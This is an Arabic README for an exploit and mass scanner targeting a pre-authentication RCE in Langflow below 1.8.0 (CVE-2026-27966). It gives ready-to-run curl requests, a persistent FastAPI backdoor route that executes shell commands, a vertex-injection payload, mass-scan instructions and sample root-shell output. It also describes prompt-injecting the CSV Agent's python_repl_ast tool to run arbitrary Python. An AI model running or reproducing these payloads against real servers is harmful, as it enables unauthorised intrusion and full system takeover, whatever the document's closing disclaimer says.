
ماسح RCE قبل المصادقة لـ Langflow < 1.8.0 — حقن المسار + حقن Vertex → تنفيذ التعليمات البرمجية (CVSS 9.8)
CVE-2026-27966 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) ذات خطورة حرجة (CVSS 9.8) قبل المصادقة، في إصدارات Langflow الأقدم من 1.8.0. تنبع الثغرة من تثبيت allow_dangerous_code=True بشكل ثابت في مكوّن CSV Agent، ما يعرّض أداة LangChain's python_repl_ast لحقن الموجّهات (prompt injection) دون مصادقة.
بالإضافة إلى ذلك، تفتقر عدة نقاط نهاية API إلى المصادقة المناسبة، ما يتيح حقن المسار مباشرة وحقن Vertex للتدفقات — حتى على المثيلات التي لا يكون فيها مكوّن CSV Agent مكوّنًا.
| إصدار Langflow | الحالة |
|---|---|
| < 1.8.0 | قابلة للاختراق |
| >= 1.8.0 | مصحّحة |
يختبر هذا الماسح ثلاثة مسارات استغلال متميزة:
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
في src/lfx/src/lfx/components/langchain_utilities/csv_agent.py، يثبّت عقد CSV Agent القيمة allow_dangerous_code=True بشكل ثابت، ما يعرّض أداة LangChain's python_repl_ast تلقائيًا:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
يسمح هذا لأي موجه (prompt) يصل إلى CSV Agent بتنفيذ كود Python عشوائي عبر:
Action: python_repl_ast
Action Input: __import__("os").system("command")
تعرض واجهة Langflow REST API عدة نقاط نهاية دون مصادقة:
| نقطة النهاية | المصادقة | البيانات المكشوفة |
|---|---|---|
GET /api/v1/version | لا يوجد | إصدار Langflow |
GET /api/v1/health | لا يوجد | حالة المثيل |
GET /api/v1/flows/basic_examples/ | لا يوجد | 26 معرّف UUID لتدفقات أمثلة + البنية |
POST /api/v1/build/{uuid}/vertices | لا يوجد | يقبل حقن كود عشوائي |
POST /api/v1/users/ | لا يوجد | إنشاء مستخدم (غير مفعّل) |
GET /openapi.json | لا يوجد | وثائق API كاملة |
على المثيلات التي يكون فيها auto_login مفعّلًا (الوضع الافتراضي في كثير من نشرات Docker)، يحصل المهاجم على جلسة صالحة ومفتاح API:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
باستخدام مفتاح API صالح، يمكن للمهاجم استخدام POST /api/v1/custom_component لتسجيل مسار FastAPI خلفي يبقى في الذاكرة حتى إعادة تشغيل الخادم:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
| المقياس | القيمة |
|---|---|
| ناقل الهجوم | شبكة (عن بُعد) |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | غير متغير |
| السرية | عالية |
| السلامة | عالية |
| التوفر | عالي |
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
الخطوة 1 — كشف Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
الخطوة 2 — استخراج معرّفات UUID للتدفقات
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
الخطوة 3 — حقن Vertex خلفي
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
الخطوة 4 — تنفيذ الأمر
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
الاستغلال الناجح يحقّق تنفيذ كود عن بُعد بصلاحيات الجذر (root) داخل حاوية Langflow Docker. ومن هناك يمكن للمهاجم:
لأغراض تعليمية واختبارات مصرّح بها فقط.
هذا البرنامج مخصص لمحترفي الأمن الذين يجرون اختبارات اختراق مصرّحًا بها، وللمؤسسات التي تدقق بنيتها التحتية الخاصة، وللباحثين الذين يدرسون استغلال الثغرات.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وقد يخالف:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. 1030)
- إندونيسيا: UU ITE Pasal 30 & 46
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب 1990
لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام. وباستخدامك هذا البرنامج، فإنك تتحمل المسؤولية الكاملة عن أفعالك.
| المورد | الرابط |
|---|---|
| استشارة GitHub الأمنية | GHSA-3645-fxcv-hqr4 |
| إصلاح الالتزام (Commit) | d8c6480d |
| وحدة Metasploit | Rapid7 |
| إدخال NVD | CVE-2026-27966 |